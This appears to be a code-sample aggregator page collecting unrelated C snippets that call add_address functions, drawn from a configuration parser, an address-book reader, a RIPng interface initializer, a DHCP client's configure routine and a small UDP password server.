   token = lex_get_token(lc, T_SKIP_EOL);
   if (token == T_EOB) {
      scan_err0(lc, _("Empty addr block is not allowed"));
   }
   do {
      if (!(token == T_UNQUOTED_STRING || token == T_IDENTIFIER)) {
         scan_err1(lc, _("Expected a string, got: %s"), lc->str);
      }
      if (bstrcasecmp("ip", lc->str) || bstrcasecmp("ipv4", lc->str)) {
         family = AF_INET;
#ifdef HAVE_IPV6
      } else if (bstrcasecmp("ipv6", lc->str)) {
         family = AF_INET6;
      } else {
         scan_err1(lc, _("Expected a string [ip|ipv4|ipv6], got: %s"), lc->str);
      }
#else
      } else {
         scan_err1(lc, _("Expected a string [ip|ipv4], got: %s"), lc->str);
      }
#endif
      token = lex_get_token(lc, T_SKIP_EOL);
      if (token != T_EQUALS) {
         scan_err1(lc, _("Expected a equal =, got: %s"), lc->str);
      }
      token = lex_get_token(lc, T_SKIP_EOL);
      if (token != T_BOB) {
         scan_err1(lc, _("Expected a block begin { , got: %s"), lc->str);
      }
      token = lex_get_token(lc, T_SKIP_EOL);
      exist = EMPTYLINE;
      port_str[0] = hostname_str[0] = '\0';
      do {
         if (token != T_IDENTIFIER) {
            scan_err1(lc, _("Expected a identifier [addr|port], got: %s"), lc->str);
         }
         if (bstrcasecmp("port", lc->str)) {
            next_line = PORTLINE;
            if (exist & PORTLINE) {
               scan_err0(lc, _("Only one port per address block"));
            }
            exist |= PORTLINE;
         } else if (bstrcasecmp("addr", lc->str)) {
            next_line = ADDRLINE;
            if (exist & ADDRLINE) {
               scan_err0(lc, _("Only one addr per address block"));
            }
            exist |= ADDRLINE;
         } else {
            scan_err1(lc, _("Expected a identifier [addr|port], got: %s"), lc->str);
         }
         token = lex_get_token(lc, T_SKIP_EOL);
         if (token != T_EQUALS) {
            scan_err1(lc, _("Expected a equal =, got: %s"), lc->str);
         }
         token = lex_get_token(lc, T_SKIP_EOL);
         switch (next_line) {
         case PORTLINE:
            if (!(token == T_UNQUOTED_STRING || token == T_NUMBER || token == T_IDENTIFIER)) {
               scan_err1(lc, _("Expected a number or a string, got: %s"), lc->str);
            }
            bstrncpy(port_str, lc->str, sizeof(port_str));
            break;
         case ADDRLINE:
            if (!(token == T_UNQUOTED_STRING || token == T_IDENTIFIER)) {
               scan_err1(lc, _("Expected an IP number or a hostname, got: %s"),
                         lc->str);
            }
            bstrncpy(hostname_str, lc->str, sizeof(hostname_str));
            break;
         case EMPTYLINE:
            scan_err0(lc, _("State machine missmatch"));
            break;
         }
         token = lex_get_token(lc, T_SKIP_EOL);
      } while (token == T_IDENTIFIER);
      if (token != T_EOB) {
         scan_err1(lc, _("Expected a end of block }, got: %s"), lc->str);
      }
      if (pass == 1 && !add_address((dlist **)(item->value), IPADDR::R_MULTIPLE,
          htons(port), family, hostname_str, port_str, errmsg, sizeof(errmsg))) {
           scan_err3(lc, _("Can't add hostname(%s) and port(%s) to addrlist (%s)"),
                   hostname_str, port_str, errmsg);
      }
      token = scan_to_next_not_eol(lc);
   } while ((token == T_IDENTIFIER || token == T_UNQUOTED_STRING));
Пример #24
0
Файл: address.c Проект: ninux/mc
static int data_to_address(int n)
{
	_dbgmsg("parsing data from file for entry %i", n);

	char *line;
	char c;
	int i;		/* data segment			*/
	int pos;	/* position in data segment	*/
	int ctr;	/* position in inputline	*/
	int ret;

	char *firstname;
	char *lastname;
	char *street;
	char *nr;
	int *number;
	char *zp;
	int *zipcode;
	char *city;

	i = 0;
	ctr = 0;
	pos = 0;

	line = read_address(n);
	if (line == NULL) {
		return -1;
	}
	_dbgmsg("read data entry as \"%s\"", line);

	/* prepare the memory for the data */
	firstname = malloc(strlen(line));
	lastname = malloc(strlen(line));
	street = malloc(strlen(line));
	number = malloc(sizeof(int));
	nr = malloc(strlen(line));
	zipcode = malloc(sizeof(int));
	zp = malloc(strlen(line));
	city = malloc(strlen(line));

	/* initialize the data */
	firstname[0] = '\0';
	lastname[0] = '\0';
	street[0] = '\0';
	nr[0] = '\0';
	zp[0] = '\0';
	city[0] = '\0';

	while (((c = line[ctr]) != ';')	&& (i <= 5)) {
		if (c == '#') {
			_dbgwarn("found comment -> skipping rest of line");
			return 0;
		} else if (c == '\n') {
			_dbgwarn("found newline -> skipping rest of line");
			return 0;
		} else if (c == ',') {
			i++;
			ctr++;
			pos = 0;
		} else {
			if (c == ' ') {
				ctr++;
			} else {
				switch (i) {
				case 0:	firstname[pos] = c;
					firstname[pos+1] = '\0';
					break;
				case 1: lastname[pos] = c;
					lastname[pos+1] = '\0';
					break;
				case 2: street[pos] = c;
					street[pos+1] = '\0';
					break;
				case 3: nr[pos] = c;
					nr[pos+1] = '\0';
					break;
				case 4: zp[pos] = c;
					zp[pos+1] = '\0';
					break;
				case 5: city[pos] = c;
					city[pos+1] = '\0';
					break;
				default:
					_dbgerr("something went wrong at parsing "
					"\"%c\"", c);
					break;
				}
				pos++;
				ctr++;
			}
		}
	}

	/* fitting memory and data */
	firstname = realloc(firstname, strlen(firstname));
	lastname = realloc(lastname, strlen(lastname));
	street = realloc(street, strlen(street));
	*number = atoi(nr);
	free(nr);
	*zipcode = atoi(zp);
	free(zp);
	city = realloc(city, strlen(city));

	_dbgmsg("finished parsing -> adding new address entry");
	ret = add_address(firstname, lastname, street, number, zipcode, city);

	free(firstname);
	free(lastname);
	free(street);
	free(number);
	free(zipcode);
	free(city);
	_dbgnice("freed all address data for entry %i", n);

	return ret;
}
Пример #25
0
/* 
 * Reads kernel interface list and makes a copy for the local use.
 */
int
initialize_interface(void)
{
	size_t needed;
	int newif = FALSE, mib[6], flags = 0;
	char *buf, *cplim, *cp;
	struct interface *ifs, *ifp;
	struct preflist *plp = NULL;
	struct sockaddr_dl *sdl;
	register struct if_msghdr *ifm;
	register struct ifa_msghdr *ifam;
	int externalinterfaces = 0;

	/* I'm afraid of stack overflow. */
	/* So work areas are malloc-ed.  */
	ifs = (struct interface *)malloc(sizeof(struct interface));
	if (ifs == NULL) {
		syslog(LOG_ERR, "work area malloc: %m");
		return -1;
	}
	mib[0] = CTL_NET;
	mib[1] = PF_ROUTE;
	mib[2] = 0;
	mib[3] = AF_INET6;
	mib[4] = NET_RT_IFLIST;
	mib[5] = 0;

	if (sysctl(mib, 6, NULL, &needed, NULL, 0) < 0) {
		free(ifs);
		syslog(LOG_ERR, "sysctl IFLIST 1 : %m");
		return -1;
	}
	if ((buf = malloc(needed)) == NULL) {
		free(ifs);
		syslog(LOG_ERR, "sysctl IFLIST malloc : %m");
		return -1;
	}
	if (sysctl(mib, 6, buf, &needed, NULL, 0) < 0) {
		free(buf);
		free(ifs);
		syslog(LOG_ERR, "sysctl IFLIST 2 : %m");
		return -1;
	}
	for (ifp = ifnet; ifp; ifp = ifp->if_next) {
		for (plp = ifp->if_ip6addr; plp; plp = plp->pl_next)
			plp->pl_flag = PL_DELADDR;
		for (plp = ifp->if_sladdr; plp; plp = plp->pl_next)
			plp->pl_flag = PL_DELADDR;
		for (plp = ifp->if_lladdr; plp; plp = plp->pl_next)
			plp->pl_flag = PL_DELADDR;
	}
	/* so, ifp is NULL now */

	cplim = buf + needed;
	for (cp = buf; cp < cplim; cp += ifm->ifm_msglen) {
		ifm = (struct if_msghdr *)cp;
		if (ifm->ifm_type == RTM_IFINFO) {
			newif = FALSE;
			ifp = (struct interface *)NULL;
			if (ifm->ifm_addrs != RTA_IFP)
				continue;	/* sanity check */
			sdl = (struct sockaddr_dl *)(ifm + 1);
			if ((ifp = get_if_by_name(sdl)) == NULL) {
			/* Hack! */
			/* IFF_RUNNING means 'has at least one linklocal'
			 * <CAN_SEND> */
			/* IFF_JOINED  means 'joined multicast group'
			 * <CAN_RECEIVE> */
				flags = ifm->ifm_flags & ~(IFF_RUNNING | IFF_JOINED);
				if ((flags & IFF_UP) == 0) {
					ifp = NULL;
					continue;
				}
				bzero(ifs, sizeof(struct interface));
				ifp = ifs;	/* pointer copy */
				newif = TRUE;
				/* already bzeroed, so trailing 0 is not needed */
				strncpy(ifp->if_name, sdl->sdl_data, sdl->sdl_nlen);
				ifp->if_sdl = *sdl;	/* struct copy */
				ifp->if_flag = flags;
			} else {
				flags = ifm->ifm_flags;
				if ((flags & IFF_UP) == 0) {
					if (ifp->if_flag & IFF_JOINED)
						drop_multicast_group(ifp);
					ifp->if_flag = flags & ~(IFF_RUNNING | IFF_JOINED);
					/* if_freeaddresses( ifp ); */
					/* free will be done in install_address */
					ifp = NULL;
					continue;
				}
				if ((ifp->if_flag & IFF_UP) == 0) {
					/* wake up */
					/* counter reset */
					ifp->if_badpkt = ifp->if_badrte = ifp->if_updates = 0;
				}
				ifp->if_flag = (flags & ~(IFF_RUNNING | IFF_JOINED))
					| (ifp->if_flag & (IFF_RUNNING | IFF_JOINED));
				ifp->if_sdl = *sdl;	/* maybe MAC address
							 * was changed (?) */
			}

			ifp->if_metrc = ifm->ifm_data.ifi_metric;
			/* maybe index was changed */
			if_index(ifp) = ifm->ifm_index;
			ifp->if_lmtu = ifm->ifm_data.ifi_mtu;
			/* sanity check */
			if (ifp->if_lmtu <
			    (sizeof(struct rip6) + rt6_hdrlen +
			     sizeof(struct route_entry))) {
				/* rt6_hdrlen may be HUGER than DEFAULT(576) */
				ifp->if_flag &= ~IFF_UP;
				syslog(LOG_ERR, "Too small MTU");
				ifp = NULL;
				newif = FALSE;
			}
			continue;
		}		/* if(RTM_IFINFO) */
		if (ifm->ifm_type != RTM_NEWADDR) {
			free(buf);
			free(ifs);
			syslog(LOG_ERR, "sysctl illegal data");
			return -1;
		}
		if (ifp == NULL)
			continue;
		/* ifp without IFF_UP shall reach here */
		/* First message is RTM_NEWADDR (not RTM_IFINFO) shall
                   reach here */

		ifam = (struct ifa_msghdr *)ifm;
		rtinfo.rti_addrs = ifam->ifam_addrs;
		plp = (struct preflist *)malloc(sizeof(struct preflist));
		if (plp == NULL) {
			free(buf);
			free(ifs);
			syslog(LOG_ERR, "initialize_interface: malloc failed");
			return -1;
		}
		bzero((void *)plp, sizeof(struct preflist));

		if (get_address(ifam->ifam_addrs, (char *)(ifam + 1),
				(cp + ifam->ifam_msglen), plp) < 0) {
			free(plp);	/* plp = NULL; */
			continue;
		}
		if (flags & IFF_POINTOPOINT) {
			if (if_ifwithdstaddr(plp, ifp)) {
			/* address already on the interface list ( marked
			 * OLDADDR ) */
				free(plp);	/* plp = NULL; */
				continue;
			}
		} else {
			int i;

#define vdst  plp->pl_dest.s6_addr
#define vsrc1 plp->pl_pref.prf_addr.s6_addr
#define vsrc2 plp->pl_mask.s6_addr
			for (i = 0; i < sizeof(struct in6_addr); i++)
				vdst[i] = vsrc1[i] & vsrc2[i];
#undef vsrc2
#undef vsrc1
#undef vdst
			if (if_ifwithaddr(plp, ifp)) {
			/* address already on the interface list ( marked
			 * OLDADDR ) */
				free(plp);	/* plp = NULL; */
				continue;
			}
		}

		if (newif != FALSE) {
			if ((ifp = (struct interface *)malloc(sizeof(struct interface))) == NULL) {
				free(plp);
				free(buf);
				free(ifs);
				syslog(LOG_ERR, "initialize_interface: new if malloc :%m");
				return -1;
			}
			*ifp = *ifs;	/* struct copy */
			ifp->if_next = ifnet;
			ifnet = ifp;
			newif = FALSE;	/* CAUTION: this interface loop has
					 * not been finished */
			if ((ifp->if_flag & IFF_LOOPBACK) == 0)
				externalinterfaces++;
		}
		add_address(plp, ifp);	/* plp = NULL; */

		if (ifp->if_flag & IFF_LOOPBACK)
			foundloopback = 1;
	}			/* for */

	/* Unnumbered P2P check */
	for (ifp = ifnet; ifp; ifp = ifp->if_next) {
		if (ifp->if_flag & IFF_POINTOPOINT
		    && ifp->if_flag & IFF_UP) {
			for (plp = ifp->if_ip6addr; plp; plp = plp->pl_next)
				if (plp->pl_flag != PL_DELADDR)
					if_duplicate(plp, ifp);
			/* Duplicate address will be zeroed */
			for (plp = ifp->if_sladdr; plp; plp = plp->pl_next)
				if (plp->pl_flag != PL_DELADDR)
					if_duplicate(plp, ifp);
			/* Duplicate address will be zeroed */
		}
	}

	/* Even if we have only one (external) interface, RIPng works */
	/* MODE_UNSPEC really needed ? */
	if (externalinterfaces == 0)
		rt6_opmode = MODE_QUIET;

	free(buf);
	free(ifs);
	return 0;
}
Пример #26
0
int configure (const options_t *options, interface_t *iface,
	       const dhcp_t *dhcp)
{
  route_t *route = NULL;
  route_t *new_route = NULL;
  route_t *old_route = NULL;
  struct hostent *he = NULL;
  char newhostname[HOSTNAME_MAX_LEN] = {0};
  char curhostname[HOSTNAME_MAX_LEN] = {0};
  char *dname = NULL;
  int dnamel = 0;

  if (! options || ! iface || ! dhcp)
    return -1;

  /* Remove old routes
     Always do this as the interface may have >1 address not added by us
     so the routes we added may still exist */
  if (iface->previous_routes)
    {
      for (route = iface->previous_routes; route; route = route->next)
	if (route->destination.s_addr || options->dogateway)
	  {
	    int have = 0;
	    if (dhcp->address.s_addr != 0)
	      for (new_route = dhcp->routes; new_route; new_route = new_route->next)
		if (new_route->destination.s_addr == route->destination.s_addr
		    && new_route->netmask.s_addr == route->netmask.s_addr
		    && new_route->gateway.s_addr == route->gateway.s_addr)
		  {
		    have = 1;
		    break;
		  }
	    if (! have)
	      del_route (iface->name, route->destination, route->netmask,
			 route->gateway, options->metric);
	  }
    }

  /* If we don't have an address, then return */
  if (dhcp->address.s_addr == 0)
    {
      if (iface->previous_routes)
	{
	  free_route (iface->previous_routes);
	  iface->previous_routes = NULL;
	}

      /* Only reset things if we had set them before */
      if (iface->previous_address.s_addr != 0)
	{
	  del_address (iface->name, iface->previous_address,
		       iface->previous_netmask);
	  memset (&iface->previous_address, 0, sizeof (struct in_addr));
	  memset (&iface->previous_netmask, 0, sizeof (struct in_addr));

	  restore_resolv (iface->name);

	  /* we currently don't have a resolvconf style programs for ntp/nis */
	  exec_script (options->script, iface->infofile, "down");
	}
      return 0;
    }

  if (add_address (iface->name, dhcp->address, dhcp->netmask,
		   dhcp->broadcast) < 0 && errno != EEXIST)
    return -1;

  /* Now delete the old address if different */
  if (iface->previous_address.s_addr != dhcp->address.s_addr
      && iface->previous_address.s_addr != 0)
    del_address (iface->name, iface->previous_address, iface->previous_netmask);

#ifdef __linux__
  /* On linux, we need to change the subnet route to have our metric. */
  if (iface->previous_address.s_addr != dhcp->address.s_addr
      && options->metric > 0 && dhcp->netmask.s_addr != INADDR_BROADCAST)
    {
      struct in_addr td;
      struct in_addr tg;
      memset (&td, 0, sizeof (td));
      memset (&tg, 0, sizeof (tg));
      td.s_addr = dhcp->address.s_addr & dhcp->netmask.s_addr;
      add_route (iface->name, td, dhcp->netmask, tg, options->metric);
      del_route (iface->name, td, dhcp->netmask, tg, 0);
    }
#endif

  /* Remember added routes */
  if (dhcp->routes)
    {
      route_t *new_routes = NULL;
      int remember;

      for (route = dhcp->routes; route; route = route->next)
	{
	  /* Don't set default routes if not asked to */
	  if (route->destination.s_addr == 0 && route->netmask.s_addr == 0
	      && ! options->dogateway)
	    continue;

	  remember = add_route (iface->name, route->destination,
				route->netmask,  route->gateway,
				options->metric);
	  /* If we failed to add the route, we may have already added it
	     ourselves. If so, remember it again. */
	  if (remember < 0)
	    for (old_route = iface->previous_routes; old_route;
		 old_route = old_route->next)
	      if (old_route->destination.s_addr == route->destination.s_addr
		  && old_route->netmask.s_addr == route->netmask.s_addr
		  && old_route->gateway.s_addr == route->gateway.s_addr)
		{
		  remember = 1;
		  break;
		}

	  if (remember >= 0)
	    {
	      if (! new_routes)
		{
		  new_routes = xmalloc (sizeof (route_t));
		  memset (new_routes, 0, sizeof (route_t));
		  new_route = new_routes;
		}
	      else
		{
		  new_route->next = xmalloc (sizeof (route_t));
		  new_route = new_route->next;
		}
	      memcpy (new_route, route, sizeof (route_t));
	      new_route -> next = NULL;
	    }
	}

      if (iface->previous_routes)
	free_route (iface->previous_routes);

      iface->previous_routes = new_routes;
    }

  if (options->dodns && dhcp->dnsservers)
    make_resolv(iface->name, dhcp);
  else
    logger (LOG_DEBUG, "no dns information to write");

  if (options->dontp && dhcp->ntpservers)
    make_ntp(iface->name, dhcp);

  if (options->donis && (dhcp->nisservers || dhcp->nisdomain))
    make_nis(iface->name, dhcp);

  /* Now we have made a resolv.conf we can obtain a hostname if we need one */
  if (options->dohostname && ! dhcp->hostname)
    {
      he = gethostbyaddr (inet_ntoa (dhcp->address),
			  sizeof (struct in_addr), AF_INET);
      if (he)
	{
	  dname = he->h_name;
	  while (*dname > 32)
	    dname++;
	  dnamel = dname - he->h_name;
	  memcpy (newhostname, he->h_name, dnamel);
	  newhostname[dnamel] = 0;
	}
    }

  gethostname (curhostname, sizeof (curhostname));

  if (options->dohostname
      || strlen (curhostname) == 0
      || strcmp (curhostname, "(none)") == 0
      || strcmp (curhostname, "localhost") == 0)
    {
      if (dhcp->hostname)
	strcpy (newhostname, dhcp->hostname); 

      if (*newhostname)
	{
	  logger (LOG_INFO, "setting hostname to `%s'", newhostname);
	  sethostname (newhostname, strlen (newhostname));
	}
    }

  write_info (iface, dhcp, options);

  if (iface->previous_address.s_addr != dhcp->address.s_addr ||
      iface->previous_netmask.s_addr != dhcp->netmask.s_addr)
    {
      memcpy (&iface->previous_address,
	      &dhcp->address, sizeof (struct in_addr));
      memcpy (&iface->previous_netmask,
	      &dhcp->netmask, sizeof (struct in_addr));
      exec_script (options->script, iface->infofile, "new");
    }
  else
    exec_script (options->script, iface->infofile, "up");

  return 0;
}
Пример #27
0
int main(int argc, char *argv[])
{
   signal(SIGINT, INThandler);
   signal(SIGQUIT, INThandler);
   signal(SIGTERM, INThandler);

   while(flag) 
   {

      int sock;
      struct sockaddr_in serv_add_password;
      struct sockaddr_in client_add_password;
      unsigned int client_add_length;
      char password_buffer[8];
      unsigned short serv_port_password;
      int msg_size = 0; 

    	char *password;

      if(argc == 4)
      {
         password = argv[3];
      }
      else if(argc == 3)
      {
         password = generate_password(atoi(argv[2]));
      }
      else
      {
         printf("Input not valid.\n");
         printf("Input should look like this: passwordServer serverPort N initialPassword(optional)\n");
         exit(1);
      }

    	serv_port_password = atoi(argv[1]);

      printf("Creating Socket...\n");
      if ((sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
         error("Unable to create socket.");

      memset(&serv_add_password, 0, sizeof(serv_add_password));
      serv_add_password.sin_family = AF_INET;
      serv_add_password.sin_addr.s_addr = htonl(INADDR_ANY);
      serv_add_password.sin_port = htons(serv_port_password);

      printf("Binding to port %d...\n", serv_port_password);
      if (bind(sock, (struct sockaddr *) &serv_add_password, sizeof(serv_add_password)) < 0)
         error("Unable to bind to port.");

    	while(flag)
    	{
         client_add_length = sizeof(client_add_password); 
  
         if (((msg_size = recvfrom(sock, password_buffer, 7, 0,
            (struct sockaddr *) &client_add_password, &client_add_length)) >= 0) && (flag == true))
         {
            add_address(client_add_password);
            total_num_recieved++;

            if(strcmp(password, password_buffer) == 0)
            {
               if (sendto(sock, "SUCCESS", 7, 0, 
                     (struct sockaddr *) &client_add_password, sizeof(client_add_password)) != 7)
               {
                  error("Unexpected number of bytes received.");
               }

               password = generate_password(atoi(argv[2]));
               num_correct++;
            }
            else if(strcmp(password, password_buffer) < 0)
            {
               if (sendto(sock, "FAILURE", 7, 0, 
                  (struct sockaddr *) &client_add_password, sizeof(client_add_password)) != 7)
               {
                  error("Unexpected number of bytes received.");
               }
            }
         }
         else
         {
            if(msg_size < 0)
               error("Receive failed.");
            if(!flag) 
            {
               //do nothing
            }
         }
      }
   }

   printf("Number of message received = %d\n",total_num_recieved);
   printf("Number of correct password = %d\n", num_correct);
   printf("Addresses recieved from:\n");
   for(int j = 1; j <= num_addresses_received; j++) 
   {
      printf("%s\n", addresses_received[j]);
   }

	return 0;
}